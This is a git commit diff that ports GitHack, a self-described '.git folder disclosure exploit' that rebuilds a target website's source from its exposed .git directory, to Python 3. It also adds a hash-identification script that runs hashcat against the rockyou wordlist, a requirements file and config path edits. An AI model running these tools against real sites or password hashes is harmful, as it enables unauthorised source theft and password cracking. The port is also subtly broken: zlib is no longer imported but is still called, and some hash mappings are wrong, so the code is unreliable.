GitHack 2 -> 3, crack hash, requirements
This commit is contained in:
parent
09f85c0e74
commit
4c265dc683
130
GitHack.py
130
GitHack.py
@ -1,39 +1,26 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
# -*- encoding: utf-8 -*-
|
|
||||||
|
|
||||||
import sys
|
from urllib.parse import urlparse
|
||||||
import urllib2
|
|
||||||
import os
|
|
||||||
import urlparse
|
|
||||||
import zlib
|
|
||||||
import threading
|
import threading
|
||||||
import Queue
|
import collections
|
||||||
import re
|
import binascii
|
||||||
|
import requests
|
||||||
|
import struct
|
||||||
|
import queue
|
||||||
import time
|
import time
|
||||||
import ssl
|
import ssl
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
#
|
|
||||||
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
|
|
||||||
#
|
|
||||||
|
|
||||||
import binascii
|
|
||||||
import collections
|
|
||||||
import mmap
|
|
||||||
import struct
|
|
||||||
import sys
|
import sys
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
def check(boolean, message):
|
def check(boolean, message):
|
||||||
if not boolean:
|
if not boolean:
|
||||||
import sys
|
print("error: " + message)
|
||||||
print "error: " + message
|
exit(1)
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
|
|
||||||
def parse(filename, pretty=True):
|
def parse(filename, pretty=True):
|
||||||
with open(filename, "rb") as o:
|
with open(filename, "rb") as f:
|
||||||
f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
|
# f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
|
||||||
|
|
||||||
def read(format):
|
def read(format):
|
||||||
# "All binary numbers are in network byte order."
|
# "All binary numbers are in network byte order."
|
||||||
@ -137,41 +124,30 @@ def parse(filename, pretty=True):
|
|||||||
|
|
||||||
padlen = (8 - (entrylen % 8)) or 8
|
padlen = (8 - (entrylen % 8)) or 8
|
||||||
nuls = f.read(padlen)
|
nuls = f.read(padlen)
|
||||||
check(set(nuls) == set(['\x00']), "padding contained non-NUL")
|
check(set(nuls) == set([0]), "padding contained non-NUL")
|
||||||
|
|
||||||
yield entry
|
yield entry
|
||||||
|
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
context = ssl._create_unverified_context()
|
|
||||||
if len(sys.argv) == 1:
|
|
||||||
msg = """
|
|
||||||
A `.git` folder disclosure exploit. By LiJieJie
|
|
||||||
|
|
||||||
Usage: GitHack.py http://www.target.com/.git/
|
|
||||||
|
|
||||||
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
|
|
||||||
"""
|
|
||||||
print msg
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
class Scanner(object):
|
class Scanner(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.base_url = sys.argv[-1]
|
self.base_url = sys.argv[-1]
|
||||||
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
|
|
||||||
|
self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_')
|
||||||
if not os.path.exists(self.domain):
|
if not os.path.exists(self.domain):
|
||||||
os.mkdir(self.domain)
|
os.mkdir(self.domain)
|
||||||
print '[+] Download and parse index file ...'
|
|
||||||
|
print('[+] Download and parse index file ...')
|
||||||
data = self._request_data(sys.argv[-1] + '/index')
|
data = self._request_data(sys.argv[-1] + '/index')
|
||||||
with open('index', 'wb') as f:
|
with open('%s/index' % self.domain, 'wb') as f:
|
||||||
f.write(data)
|
f.write(data)
|
||||||
self.queue = Queue.Queue()
|
self.queue = queue.Queue()
|
||||||
for entry in parse('index'):
|
for entry in parse('index'):
|
||||||
if "sha1" in entry.keys():
|
if "sha1" in entry.keys():
|
||||||
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
|
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
|
||||||
try:
|
try:
|
||||||
print entry['name']
|
print(entry['name'])
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
pass
|
pass
|
||||||
self.lock = threading.Lock()
|
self.lock = threading.Lock()
|
||||||
@ -180,45 +156,49 @@ class Scanner(object):
|
|||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _request_data(url):
|
def _request_data(url):
|
||||||
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
|
print(url)
|
||||||
return urllib2.urlopen(request, context=context).read()
|
res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
|
||||||
|
if res.status_code != 200:
|
||||||
|
raise Exception("Server returned: %d %s" % (res.status_code, res.reason))
|
||||||
|
|
||||||
|
return res.content
|
||||||
|
|
||||||
def _print(self, msg):
|
def _print(self, msg):
|
||||||
self.lock.acquire()
|
self.lock.acquire()
|
||||||
try:
|
try:
|
||||||
print msg
|
print(msg)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
pass
|
pass
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
||||||
def get_back_file(self):
|
def get_back_file(self):
|
||||||
|
|
||||||
while not self.STOP_ME:
|
while not self.STOP_ME:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sha1, file_name = self.queue.get(timeout=0.5)
|
sha1, file_name = self.queue.get(timeout=0.5)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
break
|
break
|
||||||
for i in range(3):
|
|
||||||
|
try:
|
||||||
|
folder = '/objects/%s/' % sha1[:2]
|
||||||
|
data = self._request_data(self.base_url + folder + sha1[2:])
|
||||||
try:
|
try:
|
||||||
folder = '/objects/%s/' % sha1[:2]
|
data = zlib.decompress(data)
|
||||||
data = self._request_data(self.base_url + folder + sha1[2:])
|
|
||||||
try:
|
|
||||||
data = zlib.decompress(data)
|
|
||||||
except:
|
|
||||||
self._print('[Error] Fail to decompress %s' % file_name)
|
|
||||||
data = re.sub(r'blob \d+\00', '', data)
|
data = re.sub(r'blob \d+\00', '', data)
|
||||||
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
|
except:
|
||||||
if target_dir and not os.path.exists(target_dir):
|
# self._print('[Error] Fail to decompress %s' % file_name)
|
||||||
os.makedirs(target_dir)
|
pass
|
||||||
with open(os.path.join(self.domain, file_name), 'wb') as f:
|
|
||||||
f.write(data)
|
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
|
||||||
self._print('[OK] %s' % file_name)
|
if target_dir and not os.path.exists(target_dir):
|
||||||
break
|
os.makedirs(target_dir)
|
||||||
except urllib2.HTTPError, e:
|
with open(os.path.join(self.domain, file_name), 'wb') as f:
|
||||||
if str(e).find('HTTP Error 404') >= 0:
|
f.write(data)
|
||||||
self._print('[File not found] %s' % file_name)
|
self._print('[OK] %s' % file_name)
|
||||||
break
|
except Exception as e:
|
||||||
except Exception as e:
|
self._print('[Error] %s' % str(e))
|
||||||
self._print('[Error] %s' % str(e))
|
|
||||||
self.exit_thread()
|
self.exit_thread()
|
||||||
|
|
||||||
def exit_thread(self):
|
def exit_thread(self):
|
||||||
@ -233,12 +213,24 @@ class Scanner(object):
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
context = ssl._create_unverified_context()
|
||||||
|
if len(sys.argv) == 1:
|
||||||
|
msg = """
|
||||||
|
A `.git` folder disclosure exploit. By LiJieJie
|
||||||
|
|
||||||
|
Usage: GitHack.py http://www.target.com/.git/
|
||||||
|
|
||||||
|
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
|
||||||
|
"""
|
||||||
|
print(msg)
|
||||||
|
exit()
|
||||||
|
|
||||||
s = Scanner()
|
s = Scanner()
|
||||||
s.scan()
|
s.scan()
|
||||||
try:
|
try:
|
||||||
while s.thread_count > 0:
|
while s.thread_count > 0:
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
except KeyboardInterrupt, e:
|
except KeyboardInterrupt as e:
|
||||||
s.STOP_ME = True
|
s.STOP_ME = True
|
||||||
time.sleep(1.0)
|
time.sleep(1.0)
|
||||||
print 'User Aborted.'
|
print('User Aborted.')
|
||||||
|
@ -147,7 +147,7 @@ def calculate_elapsed_time(start_time):
|
|||||||
return ', '.join(elapsed_time)
|
return ', '.join(elapsed_time)
|
||||||
|
|
||||||
port_scan_profiles_config_file = 'port-scan-profiles.toml'
|
port_scan_profiles_config_file = 'port-scan-profiles.toml'
|
||||||
with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') as p:
|
with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p:
|
||||||
try:
|
try:
|
||||||
port_scan_profiles_config = toml.load(p)
|
port_scan_profiles_config = toml.load(p)
|
||||||
|
|
||||||
@ -157,13 +157,13 @@ with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r')
|
|||||||
except toml.decoder.TomlDecodeError as e:
|
except toml.decoder.TomlDecodeError as e:
|
||||||
fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
|
fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.')
|
||||||
|
|
||||||
with open(os.path.join(rootdir, 'config', 'service-scans.toml'), 'r') as c:
|
with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c:
|
||||||
try:
|
try:
|
||||||
service_scans_config = toml.load(c)
|
service_scans_config = toml.load(c)
|
||||||
except toml.decoder.TomlDecodeError as e:
|
except toml.decoder.TomlDecodeError as e:
|
||||||
fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
|
fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.')
|
||||||
|
|
||||||
with open(os.path.join(rootdir, 'config', 'global-patterns.toml'), 'r') as p:
|
with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p:
|
||||||
try:
|
try:
|
||||||
global_patterns = toml.load(p)
|
global_patterns = toml.load(p)
|
||||||
if 'pattern' in global_patterns:
|
if 'pattern' in global_patterns:
|
||||||
|
192
crack_hash.py
Normal file
192
crack_hash.py
Normal file
@ -0,0 +1,192 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
import subprocess
|
||||||
|
import enum
|
||||||
|
import re
|
||||||
|
import tempfile
|
||||||
|
import base64
|
||||||
|
import io
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
|
||||||
|
HEX_PATTERN = re.compile("^[a-fA-F0-9]+$")
|
||||||
|
B64_PATTERN = re.compile("^[a-zA-Z0-9+/=]+$")
|
||||||
|
B64_URL_PATTERN = re.compile("^[a-zA-Z0-9=_-]+$")
|
||||||
|
|
||||||
|
class HashType(enum.Enum):
|
||||||
|
|
||||||
|
# MD5
|
||||||
|
RAW_MD4 = 900
|
||||||
|
RAW_MD5 = 0
|
||||||
|
MD5_PASS_SALT = 10
|
||||||
|
MD5_SALT_PASS = 20
|
||||||
|
|
||||||
|
# SHA1
|
||||||
|
RAW_SHA1 = 100
|
||||||
|
SHA1_PASS_SALT = 110
|
||||||
|
SHA1_SALT_PASS = 120
|
||||||
|
|
||||||
|
# SHA2
|
||||||
|
RAW_SHA2_224 = 1300
|
||||||
|
RAW_SHA2_256 = 1400
|
||||||
|
RAW_SHA2_384 = 10800
|
||||||
|
RAW_SHA2_512 = 1700
|
||||||
|
SHA512_PASS_SALT = 1710
|
||||||
|
SHA512_SALT_PASS = 1720
|
||||||
|
|
||||||
|
# SHA3
|
||||||
|
RAW_SHA3_224 = 17300
|
||||||
|
RAW_SHA3_256 = 17400
|
||||||
|
RAW_SHA3_384 = 17500
|
||||||
|
RAW_SHA3_512 = 17600
|
||||||
|
|
||||||
|
# Keccak
|
||||||
|
RAW_KECCAK_224 = 17700
|
||||||
|
RAW_KECCAK_256 = 17800
|
||||||
|
RAW_KECCAK_384 = 17900
|
||||||
|
RAW_KECCAK_512 = 18000
|
||||||
|
|
||||||
|
# Ripe-MD
|
||||||
|
RAW_RIPEMD_160 = 6000
|
||||||
|
|
||||||
|
# Crypt
|
||||||
|
CRYPT_MD5 = 500
|
||||||
|
CRYPT_BLOWFISH = 3200
|
||||||
|
CRYPT_SHA256 = 7400
|
||||||
|
CRYPT_SHA512 = 1800
|
||||||
|
CRYPT_APACHE = 1600
|
||||||
|
|
||||||
|
class Hash:
|
||||||
|
|
||||||
|
def __init__(self, hash):
|
||||||
|
self.hash = hash
|
||||||
|
self.salt = None
|
||||||
|
self.isSalted = False
|
||||||
|
self.type = []
|
||||||
|
self.cracked = None
|
||||||
|
self.findType()
|
||||||
|
|
||||||
|
def findType(self):
|
||||||
|
|
||||||
|
raw_hash = self.hash
|
||||||
|
if raw_hash[0] == "$":
|
||||||
|
crypt_parts = list(filter(None, raw_hash.split("$")))
|
||||||
|
crypt_type = crypt_parts[0]
|
||||||
|
self.isSalted = len(crypt_parts) > 2
|
||||||
|
if crypt_type == "1":
|
||||||
|
self.type.append(HashType.CRYPT_MD5)
|
||||||
|
elif crypt_type.startswith("2"):
|
||||||
|
self.type.append(HashType.CRYPT_BLOWFISH)
|
||||||
|
elif crypt_type == "5":
|
||||||
|
self.type.append(HashType.CRYPT_SHA256)
|
||||||
|
elif crypt_type == "6":
|
||||||
|
self.type.append(HashType.CRYPT_SHA512)
|
||||||
|
elif crypt_type == "apr1":
|
||||||
|
self.type.append(HashType.CRYPT_APACHE)
|
||||||
|
else:
|
||||||
|
self.isSalted = ":" in raw_hash
|
||||||
|
if self.isSalted:
|
||||||
|
raw_hash, self.salt = raw_hash.split(":")
|
||||||
|
|
||||||
|
# Base64 -> hex
|
||||||
|
try:
|
||||||
|
if not HEX_PATTERN.match(raw_hash):
|
||||||
|
|
||||||
|
if B64_URL_PATTERN.match(raw_hash):
|
||||||
|
raw_hash = raw_hash.replace("-","+").replace("_","/")
|
||||||
|
if B64_PATTERN.match(raw_hash):
|
||||||
|
raw_hash = base64.b64decode(raw_hash.encode("UTF-8")).decode("UTF-8").hex()
|
||||||
|
|
||||||
|
if self.isSalted:
|
||||||
|
self.hash = raw_hash + ":" + self.salt
|
||||||
|
else:
|
||||||
|
self.hash = raw_hash
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if HEX_PATTERN.match(raw_hash):
|
||||||
|
hash_len = len(raw_hash)
|
||||||
|
if hash_len == 32:
|
||||||
|
if self.isSalted:
|
||||||
|
self.type.append(HashType.MD5_PASS_SALT)
|
||||||
|
self.type.append(HashType.MD5_SALT_PASS)
|
||||||
|
else:
|
||||||
|
self.type.append(HashType.RAW_MD5)
|
||||||
|
self.type.append(HashType.RAW_MD4)
|
||||||
|
elif hash_len == 40:
|
||||||
|
if self.isSalted:
|
||||||
|
self.type.append(HashType.SHA1_PASS_SALT)
|
||||||
|
self.type.append(HashType.SHA1_SALT_PASS)
|
||||||
|
else:
|
||||||
|
self.type.append(HashType.RAW_SHA1)
|
||||||
|
self.type.append(HashType.RAW_MD4)
|
||||||
|
self.type.append(HashType.RAW_RIPEMD_160)
|
||||||
|
elif hash_len == 96:
|
||||||
|
if not self.isSalted:
|
||||||
|
self.type.append(HashType.RAW_SHA2_384)
|
||||||
|
self.type.append(HashType.RAW_SHA3_384)
|
||||||
|
self.type.append(HashType.RAW_KECCAK_384)
|
||||||
|
elif hash_len == 128:
|
||||||
|
if self.isSalted:
|
||||||
|
self.type.append(HashType.SHA512_PASS_SALT)
|
||||||
|
self.type.append(HashType.SHA512_SALT_PASS)
|
||||||
|
else:
|
||||||
|
self.type.append(HashType.RAW_SHA2_512)
|
||||||
|
self.type.append(HashType.RAW_SHA3_512)
|
||||||
|
self.type.append(HashType.RAW_KECCAK_256)
|
||||||
|
|
||||||
|
if len(self.type) == 0:
|
||||||
|
print("%s: Unknown hash" % self.hash)
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: %s <file>" % sys.argv[0])
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])]
|
||||||
|
|
||||||
|
uncracked_hashes = { }
|
||||||
|
for hash in hashes:
|
||||||
|
if hash.type:
|
||||||
|
for t in hash.type:
|
||||||
|
if t not in uncracked_hashes:
|
||||||
|
uncracked_hashes[t] = []
|
||||||
|
uncracked_hashes[t].append(hash)
|
||||||
|
|
||||||
|
if len(uncracked_hashes) > 0:
|
||||||
|
uncracked_types = list(uncracked_hashes.keys())
|
||||||
|
num_types = len(uncracked_types)
|
||||||
|
if num_types > 0:
|
||||||
|
print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:")
|
||||||
|
print()
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
for t,lst in uncracked_hashes.items():
|
||||||
|
print("%d.\t%s:\t%d hashe(s)" % (i, str(t)[len("HashType."):], len(lst)))
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
# Ask user…
|
||||||
|
selected = None
|
||||||
|
while selected is None or selected < 0 or selected >= num_types:
|
||||||
|
try:
|
||||||
|
selected = int(input("Your Choice: ").strip())
|
||||||
|
if selected >= 0 and selected < num_types:
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
if type(e) in [EOFError, KeyboardInterrupt]:
|
||||||
|
print()
|
||||||
|
exit()
|
||||||
|
|
||||||
|
print("Invalid input")
|
||||||
|
selected_type = uncracked_types[selected]
|
||||||
|
else:
|
||||||
|
selected_type = uncracked_types[0]
|
||||||
|
|
||||||
|
fp = tempfile.NamedTemporaryFile()
|
||||||
|
for hash in uncracked_hashes[selected_type]:
|
||||||
|
fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
|
||||||
|
fp.flush()
|
||||||
|
|
||||||
|
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"])
|
||||||
|
proc.wait()
|
||||||
|
fp.close()
|
6
requirements.txt
Normal file
6
requirements.txt
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
netifaces==0.10.9
|
||||||
|
colorama==0.4.3
|
||||||
|
requests==2.23.0
|
||||||
|
toml==0.10.0
|
||||||
|
paramiko==2.7.1
|
||||||
|
beautifulsoup4==4.9.1
|
Loading…
Reference in New Issue
Block a user